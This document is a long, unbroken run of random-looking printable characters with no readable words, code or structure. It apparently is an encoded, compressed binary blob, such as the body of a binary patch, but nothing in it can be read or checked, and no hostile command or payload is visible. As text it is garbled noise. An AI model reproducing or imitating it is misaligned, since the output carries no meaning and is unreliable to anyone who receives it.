zInq9F%$l{p;IY?0>nnFgMzIayL6LV*$&yVJm^Ej(j zjgLo0PhNJjTpT%zrnJYy8V;32iW}!s|H7vEuJ`Ej(V^+vLuOS_TeWp!Lmp;AsJGv| zf?;+i2Wfjys}RvI|0`vE`PBR`Qu&{g&0n|kpWNWe&HOK?WKIeF@*h2UMo$6%9RAh7 zpPyUA>ELe&T0ef`gb=eIt?vy?jW%$MO+I52WJ7WwHbKt97RDy{cm+9lmCiS>_QW{v z(iRzpbhpqoa=vTcC9_>4J##KJtK`t_(f9;^hZ+f`PuB$al}_+wtoxbc0`WSs4#e_t zPLEv{s}1C!H0OTL5chj}IQO9XXR%^4GDp0He9eiR+=*Oc4l)~b=Qi`JE>41vMA07| z!8Ht@H^1yLzv^>t!&8!ju(Haxqr*73sz>E)Dh8N1SsS}rSI14wnff}2US?w<^RLdp z&{|jJ*64YaA4JbF$9c^8lF>c~8MsF-2$e;U+KGpS1m_8K(2Of8r9Kp1P&v+}E&eke z^E{Om+G4fAAKqB`!MuN)?H+k^D8wNkIXSXduK0RIZub(LlU<2t_>Hd0os_`g0928J zL#^c-2%V`Y;pNV4(_`awT(V<5HX3f}6GNwE=8ZmczNd2cykQ)3>Y6j8_x?hEDx%;x8d$HINxI7-D)<4Ud}{95BgL|gKET-vIpS+kU~wv1PN ziJS+owNm3{KH<8E@a|-bWS9xq)f3=2milhi_i5WVHO*Yod^I!hI&;abFrmhVj8{LL8tR|0jPugViR-ETLrHRLfP@P=%G0MnxwpJ3%@25YW&<)g7&}x-5Sk zt<@P<4s#$6wI5yvOP{GM7H~jlxm-|}p&?G2l)Pp7E;WZ`Xl1aOA8TH&sHK)@J=B8l zcA*#ZY8Ngcm}D8@Hnm)g3u@87tElBKx3N`J$Rj->-f9y~&2_~87%=h23`vjw=f(e3 z{2J1|p67_?4m<&+Rfs0JDf1zelU$qm5b{Yrrap{=Cp%gr#FW2S>+QHq4!q^XT2-$a z#I=49v>2XQ+9oN;7Wbf%*XVCkYnurCxj@kRUSf@ zvHSln)L9{*Df;}pnXhOw)+%J0x*$CQ8Xd&%z?6$$e-;C-CZSWGTy~g(LSsq9 z*o+mw{*GIJmS-Q&5|HQS8On2l?>Bh9iF+>3-8>KR{EFu>o@aUfzot=pyiKnTuux}R z^-IRZC1no8xRpY!=~YjFcdHoh^r|)DJWn~>#CfK2ZV=}Hob}cp^8`h3%s%{%^RG(Q zGh3e^M{}vrzc9Pl-9q}YCLwz}Y?|39fw9_AIT=X*VXtgt(7&-c*Aa2ryC!=(naaD) zy8ORSq&aWRLT{b5`7pm7H8UNsgN~Y6Wwby?&F#lv2pz4B6mSeO?`UntRd%}sEm$EQ zHMh1kxOHp%b5aRDBe#5yUC;{`V2xvb8P1MYu`BV=^#gD{fU8Zp?vh*@C3FR@s)-UR z>%zw>#Ptxawvpm`7?=JfaXo_TmRs^Ao(m@r@%R-RKG6XJ4TbfhQ0+qRWBrwJDqww6 zSGdNQ)xCX&m*-Bk_Nn4u{z>sO_m#>`rQEMP*JoA!7mYnvx5DyPzE&|#^BQ(N_>h2x zm}Rxr+4#`Y%uUFMZ%whj^%x4HCnGZB@u_4&Le_tMhmHF!;xyWPwbs|gUi*_ObCFKwm}IhenT*==+9aX*!{e&V<9H|qOqZL4ARWQ8G=**+0qs{GDWmuLsT4k_h%>!g$Bu+ZFFB|ejJ(I!2yf4;D28n#~ z=$AosV4bz$2DO89jL{LQ1m3%DK*kY~qKCo}Ydmt~TIe{yD6#AzAZH_@zmAJ0g=(-g z62vC*pM>VDg%Al{%s84CIY)kc#?k!fF#1T~!D;PGitP6)`)$28xA$J@Y>yG43Y$*! zsF3^&HLQHC<by z_SBEFL6V*9(0@Qx4YAN%D#^?hQYDciiBO7Y7?h1Y*dW%H?d1%CW1-k~`xRlzpqJJxVs7KYDGsf9B`$M9z#J{cI;uA| z-Vt&{&oH-ky->6@Qc&5cU7Z*SOVVoiiH}RSbVi2OT8rOOG|snL(B6GeKoPrSM`Y0{ zBu}07=HI1YKg)t&r50siH&oIAvWlIr0Cm~WZK@hnE=0jUywq;}m3fGidVAx-dO-Uo zevJz!;krp&Vv0;_sl_QmB67E$`V|Dj?paA<%L7$%d#{^pRL?D+bc_7vv*0$KrwldtL5i2&<@+LoH}6>Yt!EwuMJ^GF*{VUzNH7m^ zsxs@(uSok=_mDIDmqQ?-VpDaYqfUct5N6~7s02+Xn{metgKPzM`RszbP z;4(SVBz35ea%(3}nqn=Gw8!Yv!nMxjqt1Habt%);%u#SzLxZ*!2^B~0sI!hjZsc0* z+&?)T9dFzKu`uH+v(BCct7W?)EBZHtYU?L45h)q%akkf5KfRo;{hjgg)iS=A?eX&S z6}224RF{5IsKt8ph_q6ua?>2PgT!5xwV0S2yIV*_m%1d!)1js7%%b1g-KQhdeYVkk zw)J+OQt3XWJ>6#v6i6+4yU&A|)9OZiU2-Kk&K_u_J=zl4*%lwm3d;a($tAcsPcZ&Y z6oPD3Xz-YWgef4f)(S~aOr5X1U1ol2pmL!m%YRTznuI`hu`HaIbB)eVo(0}np;}Nn zs5&%MyN{owDME&1iXof))D|(?Iu@^rn)=AVikeAU%Seg9yq$$*RnuAwvuM@(8s{rU zv9W7^(MD>zUb}inx|;=XE%<^^|RO z)N>Z~Y!KET6v)ef{18)VfV>fYB9KF7vPe>)YJl>9n6ax}$u=mb!IhitH~%nQ@`sWj zKR3brz6qpP_m(sxmYIbCKIYUD(J_nU(o@2GV|&N17S`9{tqj26)_US5T@C})>B zxMW&T(?=H%zb$08o6|hz$L4K5=YGzNuGfZChi)AD7Ucx_1c;IyGqgGTU3??}qQXoJ z?;vng<@58-nk@&midokR&Kao2vGA_ckSuo%(g?!Nf;7M_@Q=b0QTpCGd_C2W^{{Fg zz2&gTjT{!?b+fragN5FRH(WLIfh*n|k`cDnI{&LOB!o1b0~`wnWPuv%GTp}f07Kjn z!Q;3>&SNw`gA>9poie#Lo7~J(nnzM=`Z!9c4$XuYS5e8m&7q~l*NQnaJ7>R#%sZ5O zAtzqv?Dz4#$=uhqi;ovvMLUXK!K0J&xjT!FdJhzJVuK{ohX`?LJGcdxL594mBzT?^J^r~Vox=~uBToCRu_wb!4*$1_Sptg2kE3Vu+ zPeU#D)@kTWnTG*(QN78~4)j4qYE{G6tDYiuUCV^noH&AP<>M8y=_`mg^ba-WBSbC!ZLkkBds{I zLR{7rWqQ5!)=$)!RhwR2Jer}=!2vv4zm#)uwiOmM<6@FEWNt0mVw^}vu;kP9nhdPo z_1<^6rFC^1ZD_?{CCELtrBKRi2v`^YoSa1RK1S68j1{Pw;|oQr9a$ zX%~bn^2v{JDUKX>%g|x=C6vSj{c$ObcD zn)H27e8rAuIHR{%@F;&Biw{;Qha%h1j)@tFYMOzY`-q+80|U)Yh?B=U4tZ zuCA6>Y;l|X-YuN9x7B2xsMAnWrQv+>R-ryM6>xT#&m-C;l7mVTwLle|n0~@g5?<`( z6Y0rT(RL-%Ax#D`D8taoRl=`)?SpikE%Q5{#|-s%M~F=BpKf0bWb+@+3p%v>+8E$O zPB~Q*k$O+*$+HkDeFEk=g->>PH`^kkYKwn_ ztFEEg`tUzhS1F~dPzkzJqkO_&LEzo6}A`M)@hnioDoBOoX zElmL=7FHD<^Ei|f^0;OXtFy{qv?nQT(NdA33y`9tpHXrtJFS@n%2Q_zW=#laN`HkA?CF3YCd) z=I=E12}*rDr?1Z$r>T!e>T~OXY<>Q{r#@qpd~V;^4FpX0ul$o5Q^7)6p1RIUU5jB| zGEU8e?JA03OP#SUXIJ=(`}$Ov187wEo6~YCOnuE8E)zCV#_`t3!0G&|#MrlcZfs80 z)Y+C-vm!xrNGVmDLv2)7WL9}kVKA&if(q7adaZ7L|05Z2snsV2Io< zK{w;~kofV(P>rFUrlav%!04?FVK`>kZVo+6ipXr>t~K{It(R!Z zTNI^;SWSnejZ5~%?hW0A&v2s25WgXImnu%vZBUdjiMK6Bilkj@?Y;hkG{8cfwYBx> zITZ>T>lPZ-*ie>2-a{9_44vO1P~{t{Rd?%;5u;;u$CnuU8Dz=-+H`DS~bfVGhc!R^3Zn0IsNRsht8 z%nHp!zEQvvPn2OI4K3hZ7_;j}uwUeE+Jh6yf{Rh|xj-7CR2yOwfq0K^d2!LX7&Z2? z;H#TQYH4#y zX5grW;X!J4GIUm`xN%XjBT}GD7kH1QE@6UZR{2Wi2i83L+uwe!>#f8GPO&d}ffIcM zX6PiTq!N(KMm2b~Y0a%@GiabL9*3h7$0>yfcm?#^*=RK3)~bi|S@oAzLGUf0NjX+%s*etd<8U zzuZVT>5(B!wC{2lp5QbyF||D#N3D12>mWk4!dYmxi@@VIw@b^_({zxabPwt0ezAmo z6B{}H&tONvJ97t2pJs}| za+=jlWF-XPa+xbcX5*%hWg^nSWjtE-`pl3uv2JD%jsn(YgmPG=$h)eY5hlJuVwn@@ z1;R=%Qe6xq+hVcTRol^8NIL45?x>N$n$xL&Tq-%NS7nPw`eHueGA8JvByutBvEdle4~}rIn{h!YGGxGX zX6#Fh9PL9Tq;Lru-;V!Ss!xpb&87gZ*b?^K>BMeIKD zOShCsSUBbevCaLlNroh{7&8qi%#=;kGZocA-yGWWRNofe<)dBi&p*Y zU8EZ;E0$SwG&m;Cd`K{sZ>|5LT9d1_b})xGHt5zf*mmos$N5>|syY;5HuIPo8W{Fb z96YVY40CD_ja)ROI;avtO4IY$UdO0j#b5y~mP*}um&sd3Innu#l0levmGWe?z8N8n zPbjGty1PLJ@Y^?`T~jG)YtvuAw~WwY8RAt}e?^(=_M48z`L(PP$w-GWk(rOk(Db)B zRlXSx+bz_^q*sc=g!at&Y6cryEdx|+$wTt{i--BGPtP3>C6`+dZeyrC93Hgg{gu#YO-!Ks!y3{y-yG(>1jC9#wXAW9_Lp3wwyT^!=?#f zR4FXk8Xq;?+%X!1;x;_q^*fXAK00*s3;??;)C>@rLG_{nY1H``l%_u@sXY6(1`-Pb zvKcVarcB`i!n*1jxKPjL9zFA)GFm7*|0&~sV|8AvXa3_=^B--ooF1sN%C=`lY^_-! zQHwMS5dp?+1)*>RMIg>@1laLbgbIu3lU-mdlhxOO{D8MosG47`Gv*peXZg9bb$qpx z_Jg2n;c0d0$A##v^bW<%Gix(H|n7&JaYvPF#ocbXW^FLrEy5Lz7MRAGFUqv7q+U87waR1O9;mz7(d(KqZ>s_y{ zld}FSS(NN&$4h{1DHM5_B4r6picBbQx?b&9uD_>Tse>vKwCEHmC1;8aNU=kAr~(oF z%*8gsJdi_VfcDrncOvO7`K{n>`tW6fI5A;v?u3hGMv4sm!b=3-ndCxEQ4#f&)EZkR z>0^ug;obAAet55U{{I;7fgHR~2kBd<3D$R>2^S7dy(x=0!Mo`S3F;GWW?dzq&_*9h zl29)SZTjYttUB|L(qiT&o5<@G)v}%aH;UAo1m(#uz|5fY2OjQ+@7MFd_ZCH389IlS zAm9Dw7U#=~?9_dOe!2GIFf+<5iMMA+Ekk$zchY%T4!-GL0UJ*?wF|a9Lh^!bx}%_b zqe8bro5JC6g*$Uk_{A`5#o_&7b=QLNn%q078`~XPvuq3ot)to1*@u0saQtg%t)P2` z=*FLb){35PoMj&sS@sd?Wgit%vs2hd#Xn;oQtrRRJ~C(xg>9~tVINsOn}gJfUZld@ z%stR=p}C(sz3vvuoEm#jNE0?vs0Qu~e?RNHkaBg%e-VSn!j9HbqR1ahSj9N4e|tCNFsIZyl|OByKwQ%{UgJ|viWuGxUlJ# z(}gpB%N<9)*wR}in6j0yr8Zm3K-8!7-uyD~&FUXRV3#sgxD?ti24Nzf`HaH{m53(7 zROC!0p!sY`%rhKerX3SRtO%)=O$E+%j`P>MA>K(hmEyW1zSj1?$9XY^kZkkWS^ua(c z{F+FZNN*xrdTr2My^xEuquPTE-!}ufs|h%4X~e}=$WhOx)5jC}k%4O(iOTMb0n)^< zO4hw1PNTC*gb{lzlHWe{ym2Ge#Pw2;6C0ZT`qFZA>w68#siT};q z_?Af1MJa%APJheC^vT z#w)(opd%AK_2DJCI0V0P`inlHEI&i1dB*xLId{ceI|*W-*qJ-qQ0*c2Z*ghxs`>7Q zJmd8|Yha)JZz6v(WFJO+?3bKvEN&%AHgU0Ardg%D$p~xOsvF(L-}0>IewGW|`PsxW zsrMyLT;N3HpFDJD{JJkWH^)YG#%}1erSDqnaV5=rxHn74pyyBJFN^v2u88S)9lpyp> zccz9MTU)Fo@IQ$J4(rEaq~Zc1ag9)&&UOi6+CD7cFaW*ITo&0!i(dMqenbM6vL+u{ocM&wf}1 z{$oq3`IWUp5MxK+j@r|PZa3vxMO})d#>VC<<27w((s|t5nMf9Rx1TNz@W>t<#ezsn z&gd?;qeaJn(B?dLvuu`0\~kdu8rlPh-C0VOC|VRjU)PaMwYMutSb_n2`)U+^X< z=Jeyrr)4Ik#*@1Ga2jKzjp7rZhh5#>M~GdtH}P6N7i6j=++$>G2GsVPPnCb$Dfx@f zKg(Z;HQZ*;;&t>hzIQ#|X<619)w>W5mY0U1({|ZM!Y5b8CGB zkk!Do+nO%lk4dF^dl&P4rEk#dZQ$a|r6-!dR{(ePz%`6*`POG{V&-mFVS^_VP;0 znX29F7SX{^^*&|gAS)86{R$mTQgv?KPAjYqR|T9!#vNk#2gPZVpi2H^yv}-7=c&G) z6R5@mwy(AdqH3)(z6w$VrVSp&HTp;zddxMrNB@JH>M`>ioFi@6|agZtmkD>EWs_>kHQl6GTS*Mc077>OVVt7~ue+UzEPZ(+!^@nl~YuOrP~e ztt9QeG*{*K`UE?_UpO4yr^~N{@G#u{qFd7G0phUpdZ=Gs0$)a+n1V?MAVhu|X130! z5iSw|gsS$JDSGkM2Bu<5gGB3S4Dl;}?b-YaPR)-!7^llm=m7||hdcd=Lw;t+6IF3GioLh|Bn9Muda^pxi^0taWpjz(rphN!)@ZCq*B{qt&)cw(zo+c&kTPKw+W93*wd1xLyfe( zH?f9wzgM_WCY|n*rI|vO`ik~b;h=F)_PGX(kAeR9ScVVXyuO%)hakx?7JnJ*0oNCs z{=wnhO@|8@;AJi|%w}n#qpjd>81jOr5lu1~tTORTj}=~~^vA+!3NM=;tG>+DXD|WY ziBdj5BXTyl0HVVBYJ`O&HnB8}tLHmtt((Jly^fGGmLlX3NGNe6A2}HPK%tm=Y!Oqx zoLg@h$h&c&%Mo>Ls&Q#72nRcAs%|fGU>AP^0(4D*b2HU0MPNb!#~M3=2|rw!?DEQH zz_P?4r&nyw>M>ce2qF_X#dZQAZ0}oI=UzI^v$SR)`!gQNi(c5c$eoV5SezZ!xX2@} z7o%r1E*h8?vwSSHG1^i-aitj^(WCVf)2mnho~gC>KSZDwfvcJ^MUP&Yz9L-)a06@k z@yL%`ehQ@Xu=oC8fqc1YXL@F-dwK3VKeJf)%Wp|O#bOuJpUJxR+v25`7{Ag^J7_IV zTD*~k+{hrYFj%mx#+7n|o1rU*3L*pz+Nw_SAAq1myK?V1LS-tg=+7XUZ>YP*tN^!Dua44sC*Z^vGa@r6r&WS(Hk&zohx*VR3t2y+S(Z~f7U5P z8kald=|*KOo9AOWQJ>>AUGc_JZm^Uql*+$-nO-|_<|tkby5(U-*G>REO`KxQT&b8C zTTzEkvHs(Cd5)P8LAGwaVsB=&EiRZwE%Vldb*|C2!{{C~?;4EH*8V}AP#?u>os9gc zq3ep}Pu6k9@nC;ynfY;S?F3C9I)0T(<&2%V!GdYGg z(*^yFc@Q{W>PJvYM;nCkNxxVcbB05-t7s z%>uyVH_Go*;#=1cYzW4l+AoDYUdlj`e!Q4p>-=E?%ghz3`Y}WNV)sb6^_S%wEFx6O z7}ZGj&|dt`_u~z3CV%ybMPxFMJ!PqaB)bmd4FQQi>yKxv!d9MI*tbqw*ok<<+o@6O zm|5Eu1&H{a?s&sHsY})|i&36!%F`QfcsF(CI`Z%F48IxwfyXrLp)*LeM7fBh;Awh` zxe)94&Zimyk4Bcd9lT)F+1N_{rB&}>>)SnQv_9x$X3})%BfP!$=!EjgE!~DoIR|?0@hgYNyE9=C)hS}I z?!8CaK5@7}VtR0jZ=-z3(0-9rm=79$pz`qUH4QawcSvDhXt#?7*glhn?;9WP2pyN71uuI z)@ym{d8Y9+@*qXH^734+e3x^@Px$WS`8&_p-?{Za@@(Qc!1tvPc>m``!dMTFyVO-{ zp3DRo2xQYde6F;hY_#mg3_yoWd|{!3knP17KP$~ZYAf<`cjL0eTAv6^p><5cORP?2ni;uv@Ia)8hUCH8(phKf?P zmMAx3$qwVvTDEQS0%Uv8a5rt2DY3E!Ovc6DRIEuj2vC*A zmZ%;sSXrW884hFi6YK;ZGO?urPGJoidv=D zd-vZIIbZ1(RE{crudDI{ZR|evx#Fciy7gT=At3lXPX&+k1?dg>PG=9ssUH@OwMUtY z7~Mf_%$D#@qq|CKjk{=tbloC_9`8=9`bevwAk89&To|)O-@Z&Rn3d}y<;FU@0nacO zD-rdeZHM3?ha@(krUhbLQM)$!0cnX9Gq)mf!Y(CQg#5T{*# ztVq{NBso+fBFxA++wsxV@an@{RR$==gH!C#cOtH1Z3#rul> zzQ4wooaH{W#}wVdAu%y(pmq1d#FxN9k=$J)S#^`q^erxS)`96AXN#3qc2 zwFKI}dbIH5rrr~=~Or$jq+(ic?LnB0U zjdb45WU9#ARJ7jcPDjtpcymtSvFG#Et~?zjvYtrhCtefX7ej})!~6DhbFUgNau-*m zerS4}lk1pfRX13qd zuJ)Yk)@OUlOsW%o*2xjYj*eAseK3Gsz;iLr1fI|He1T^akF=fq3BAY|Cn{P>4ZDoD)R!yB;q4^dAbt7DU%D(pEJ2g*prKdnp||AGPxl4I<~kvexnkf zagj<(Ycnyqu-@!$dOf`;o&JqV+(BXqk(mkaVAXUkNgKvS>(05^m8i($HalX^NV2XSLiSa$Rt0KD!a7fQN2|ce!Ci@)KzYzAz^J4iga~2{ zSFr^4HlH8-Fh zyg>T3(RR$}*5;KVPu#vv$rHEosa1_wK`yE|`Wm|Eza4D)+XeZ@ z^33+454pd1qqhUajX)#Xju|U1C6~|eRP%r_Ob+LX*$wc-8p0BjX0X6{wqJK)vKfu~|t&A16t&|-9*v$i6)>AoQ(!XVO z2bqN(f~=BhtL|{0ZWE-xUhRQgluesigR{Nq@Lo<^L9z;1t}a&wocx zaG(5rz^@yJJ^~Jp_V5;Ma^jFCif%$owN>>e!J$nBfA~dIG{MG2d1-dhm1@@<5LUxr z!oIdbVh1Wa=Y6~K{dqUzS85)uJTPxG9C9p2O;~B^&X2P7X`(2Zs^Vk2MNM60UHb-t zgq#iBP*`J}%v-n%`~=2S9$44`)yd#kdQGLZa1~Q5v289ZQ@ULLh!OvVKQ=nXJtaeZ z6FM`h7yl3LtSE&G(^00&T#569Vt_5X<-Ivn#g|rG@DQ@-h~sjiPz2o(yQawQ^m23& z#rvmUrkmzNe;^tM`4bd0E@5#4yOu~65?(r((q`Z&Q@Vihe91r)BwmO`a&oy*er7gu zlOp#D5-}vGP7TmjZI?I#c;g2Wwu`W!z%F4TF$9-Yheis%M@ev+;D8GDYOA`{kqnYj z`BAb7&^(ek?+`woMQorR#BvIped@K7t@q?o0WoEd0^UQI<#!}*Bq5~rL`xaBDjiXE^)qx za|iq$XLql!sD3hKd4OI1h~UdOr4(JcRrQN;;#1ZevAow=(d(2If=o_Ty-w*y8DE(a z${(lEWN1}QT+Kk(pCoA9(eM~))&b9m3rhqh{OZK^dv0p~qM><1< zbu*qt9Ywpl_I2$pVlG#NxQ%$|-JRL7q~-(l=7dqq2iXrXa=GX;BIla-%k_5XDq^kT zh}D(HR7lEc)|GP=dPZ0A4Dtrb0k+hmsED~UzK`_rt#M_%@9yjE$#~z{*V~uz{zhN# zvW)lmjJL62T&$)dSFtgoZ-P;o1jF$*cbE$~4tpN= zwp?ZzOei>WsiqW|x8>AuatIR&qA@j<^b0|X%q)xz0Xb64SkHt+<`uGW1P<%%lr$cD zu8=XND+-dX^)hRTxQ*vs^enUW0aXs0 zPEy0M*e%Pf11QXpy;o{0PEqR$VkDAhG9kK3)fAzATFkRDPvS_4lxGY7P_)0U=|h0d zpW}A^>;aHxwk#mE`Q&_lDPPa-WsiOif-RQI88{|I0#PQ1Zt8GI9~CDfAKn}Z6*yY# zjTZ0#aG^EJkVl-dXC!ic{Lh7yW5>t0v^U3LvNX=^)N+15y)zl!%{{NX4`Q_LEaNQ~ z<{$6)E4^(EfXP;6HrufPoX?inmNvXter|c1cie{&9fxB#Tjw;R+dXf9D406koHd)O zbWGWl#g6D30@GSxfpr<1T~lM6%IOVO+6=Wp#J(T{Q$(jmiaw(9prZZrm||^0k&m(r z4pY|unLI_b;?@l$LzYtmcL+q}Ur`Jql`jKUZw%z@9kIF`oTA@_iO{ zEab7rBFv63Iy@07YA?VyIfDz z+SNPEjcN{k6^D%1-l`Humkx9g5RwW5xJdVdAZVq7M_VJ4LQd>E`?7lsKxd z4U(Dh+Eua!EYnL?WWpt#sApsyf5dLZ4g+SluuAhCBT;3q)>r{Tin@#5@t)M02Ll$- zS*DGQq@xsucPT?$6TC0!w`@Uld|z)x|uf zE)X&AmVRZ%e#)}Yu^W&0}@v$F0*ma_0Kh-VfhA!LuCz;g#$A49s?!i#^G+`^=|J6+#j$~DYdUz z3m0Y;%LlVm{dSSm2Nof_E%Q-t!q*Cn51o+)^Q5+FJ)7~^i%A`2_m^!Ok3h|k{+Bp1 ze9S3vc^Ou4aGr&c2<8jK-tD%ZxzjlOR>-BemsY)#aRxfHFH@v4Rf^jHX$X25cznIC zHUAV~$ZT8>i!JY6662s?#6?UG*+4(hAxfTN@iB;phv6asZyc2$83UD#Q(1T937<>J zHo0-f*9S4eOa!r~d+=kmk)@h|;#fs&rfh5+53|fLLr@J+(@$-H_EY`r!OR|C;;xXb zH3UT%Z<@mF^=wQlKwNTklUov=VuBz|>av^ElRX6exFW?ttDu8>1X*S`C+*EH;pQ8} zYy#JyIoOJO*h#PO8?QN|XHK7{^2*7IPTBlT&})3ay{I>f<77TJkVEtFX0*^QW`iKvkzrWtCL8qw1y}S@$d3j=fW!@9_MX#~z=2O8!7D^0DSlxnclW zjYHu#p_Dh2A`?o9l-aB1Hm2Wy9MHNU12FTNGvYT+I-^Am=TrZ~nfgc1u}R@o*K{wp ze_-f@*zMpc;#G=hwtZ=-0)#Y|!+b08W`XglW>Z<*$5JU$Lx!*dTJvjJ`uVG(pS;Kv z&7KPPUYP`$i|5nZMSc!4 z&O|O|tv7n1@u6mmVTePFxCtu3skNM@6_U+7!HJWscjf9bI9w0$zJm;giAUC6YyvJj zg@AqSLcn>`S?4GBX<7PBWr^q69d3O$&uf`S=vOIq2MQjGU3{ zII*)@ZFFPSrB3V&?7YNLS?8L49*aZn*~5sh);EnqA9|66Fs2!+lY5sYAcFSu<1-s9 zWy@dEWOJJBRKK)>Sk4jlD0X*zqJs5VR}cyE@7mFByrFhaLQv(ZRCscQY08e+-3Lii z`k>jF?SJMwBFULMk=BY4JveE-3-dumd)Vg>zh$f&Wt%P`S&*s04wf<#V&6z-Xdy!Q zIQL-RYJM=;>ijE~Z4RmqFbFAFTa`4QcUm$m(nK4bZRWl0DIMqFppwpsOhYBOjbK9UX?w7}gZwE?#GH!B)=+>ZP5H#y2FH}i zR_GGgGvlIxrSr`TCn043D*B08oDfZ#o3N|zWY@w_s23eCa z>B*QT4>mZQo8XoU$({-a0H|``>;u{ou_}ZC{T2&q%-M+Umsg#6f); z168}|&RxqAcB%2gK_l9KFnHPe5s3w!=FQpz?Tzh=v{mnl7Qth_kVwgGXTD|o^ZBLa z^kwZMszbgXoJE~=aV_v-y4dH?erl&{Ckacj#}Z74)=NreQp;pwpi2h-Fmd8YAdw7c zs~A{y@3DB{5Mn2O;2W_s7cK$=Uao!ZqfwB-)n{(CF_=i|Akpk7Nrbm+t9O9M^+k!b zGWgHXe%U!^aCnzO<9ZCE*=W>Of50syuAw##1=ry4-5D*%Z5;0EK{+@S&^m0R!8!cM z-e{q#^(bxi%l0nw_L2^Bs|~=G@TMY+VE-~{m;R#mKyK*=%)N=Xz*b2|xGMug(J^8l zB{ogoTmEzaK)}*Pg6va&TGF*_i%{X@Wd}aDf5iF`TkD!Tf8c2*tu)L3!`<6}M^#<> z!!wx)8DMY*86{{eqYfHP)JRer4b}i5iI&2Izznqr*lX#OQkx4CL8UTb@--Yra$DPK zt1a!dE%&c&v08{$LqaeUz(UYgv1l7VYEO(G(OL+C&inhVeP%L~1ZsQxzR&yo^W@Cg zXMe1{_S$Q&z4q7I+HO`TCfT(8s8p%NUQ7mE`pR^)%T0SwjZQ>oMPjSQ{d+=tzyN!+ zeW*wfbNm3soz}^U?ArwArTX;lO-~O?^mORy4XnWa>`nU|JD$FDKk%IX$MFN3I;QWg zKdeyc2z3B3XgItERsB6@)Zd$|zw|~hI!~hsXwN%#9>*D$zvba(6*ht07Y@j^Z=he- zaQdCH{@5NIdwtq_a;0U*JJ!Mh?DMXB!-2oT_q69VoZ`b&WZkP1Cr*5C+6DNldxgK; zx%x&K{$N`AfTjIV-}nxZC(3@ci;A90zhVxADn^;M4t=urCu}VTye{mOG?_x&YO$dX z+Rz4ULotOm+;*i;uMuH`MeX1uZ2#9E`34Qhehx+yAc0^ee8U*iGRK@x-?9e_d~626 zJFuwyt5)PJyhvcKb%$>X_J zeqMmFJ6<^t=3s(HAkyE*oWeUUKzBU&-ekwaJ?C}2F4GseCv3I=b!eP0OWQWTJXo@H%2$+QqZ2*?3OamKM&socn;%wa2@P{`~ z8pDLMt3k>Yx0+4x{nb3uiAN{i4Ba`#1moSG4v?Cct->!TMl*keX<&IZi?XfG&8A99$z`kc_6AhfF*gnkr|5ILDwb>Jfu6@@tGkEAS$ z0n(Czus`b!p+dLXKlMEJv?!nyQ{-}tlrcyz{V7g3Le|%Hv5(YVV7_4A56Nk@PVPOz8xsNa?T2ks;X2{#+H)HQ zYbR3)_N^?{|FlX9wX79+lrHV``KtW-|5076H$Xoj5nW2)t5k`p7ocK7}mS*U= zH%XkMo$gv|Xhp`KQ@aF2vL_xrjsY=%B?|+32t22B?gGpHS;1&jSfpQH|F!0%@j0gF z#%T-+*ub;(c{5WQ_yNa`!`eGM^ee>q3+X6)PBuXcpYGG|76abN7Jd+BrhNKW3kAy& zEu5^lxAs$P;6GFLs8Soa)+LP7aP;=GC@ks`OSV?zqRM`%G5PyA;4U?_jB6wmUhnZV^`q5U_WI+78s<xrAekj8BJAEveZYuWO(7ZfqcDvMJvDmB`#v6}u z2xf6)4pZvKsGREYJqvt#Z$9OXUHfC($?+f;W=e5h;axp)$Foe(LrrkjE+sA%EcZs|e2 z+m0Q=Fx1-7Hx<*V`!XVUE4%JC|005etSy_nF}E zWMI=?*&*$H>N#-}w70VNv7LD@qQpb5*&JmDw2lj*s$$X zKJr)aG0Ek0?2^iN-fQW0?0WXlaj2<|T?Z_Oz%z$FbnM(`D3uA|XzP!_yPtv1E-7Ke_ zIJ10M1|!&^^0BnypHe>6kc1L!NXRv^clNIb2AlNC?U5)Dn{N2179&8{69Uq6$HI$4-c+L=$5B zl=DYw(xmVRrcKanx-5e->m83nqL{Ih<~c}d3=%Ex;jls%2oI&g2$Kq!vyb#Yh=git zBq^YozwjL!#g6A7IDrhLrNL7>*k*R@hW5f)z7IRzA+?Wh#N@lv?$p)fB>Ws z8J2=T7A3*ixzNUWQbLeELO&5QoKwmhgjAu*P73h)bCLxsFdv0?Tf_noz@NC-z< zBp+eUg8;uQT?P?;iu}f@=J$p&H{_GH&yaA3^h15qOd*UEUg57}=d+d$$4n<2B<9MIlpku-wjI(;#1?4SZW%b#2XO!^I-FdEN)0ff4MzV-t=oh>Rz2h21CAm# zXqE_NW=hP0?Ct2qM%CxWcQJd={?MCC$L~&|TuT0ezx_}jh@dd<=ykw)^*dn2eS&)4 z0S1CCN5@~K=fnYRKR^oYe3tQ9b|w3;24=|iWO>12NqNV@qS<#I>H|+uo?}9$FFUUr zKsbkjIX0y-3~?p$*ugx=w3Or`>E29}%#tLjnfM9f~U;0B49kc9n#1(PwmSHSxFtQZ1Q*oNhka`})NeRR}5=^D%ubzpuB z$@{>?108SLGWID?EVLK_B!QF^z!Rb9)tRUt6NStIGmU-O882S*BIXU5FFmt4r;u8y zst?b08y}sewXgMrbqd5 zNj_T|K+dL~OAj%A_c?nnAi+r&sJMxGO*A{!uXL<3thGZXvWX60ZvrMwOWt$L8UTe* zx7xwH?iD4mW#_iDxR_l{QYZmQy{p*xHXV{Gzx26HotFYvN=)SAyylNSM|n4$Go=C>cHsZR5;JOq{M6!Sm z>Z%1n81NJP-JzsqnyBn^LQsOs^WGC_DS}cY00=#*pj7?0*f5uJ?AXtStU3f1_1wME zog6;)B3J_F+HKJ7QJc~=JFz_t{RXDaarjjfeWUMSf2bnu#_FDm<(MrrrK$WY`geEuX6`nD;nGu+C3r@Vx^v?%%UH!Z}?r=42J&Gp+5 zB5?h7=vcBADjo_C_m=j<4$}Vb4bTIyonO9GNT*{5QbsmPMT#5K z@o#FI_>G%Jcz4rFM(D^aU_qlaErW3Hu3_L6^$zu6%YqP=?19z%zt57XVVp8Q2}Y^X zGhaF$Z}}7ImCpqO>e+xAG~o&3o6mpac?=KzM|-*vW=7ZqJb8GQ;}Lm}Hl}89RsSZ_ zH%7;R`I)ra8ThTgAaf>Scf0Rv=cdhvvVYBn=_8DCxfGvv|De9?0O#UdIQAPn4`e(u zJZR?Zlluw$6hKV$+xfY?Ka;PJ*2q;@BI6j}5s?o}*_;mk)PE0r=Mer*l)3gn__x6yy}qvGES9RTl5^7P3#|tIom%f^r43u}zIL+Ae;MoD2Xpv! z%JuHi(q|{rPr&q*XgPhwSo2Qk9seNzUtB8bp+Q}=9i2wD+_ub;KQCP+5vJ& zlq-=4?Hluj+9MBxwptw-+R=93i;AziS4Ugjvv6a|b-&gLX&@7Q 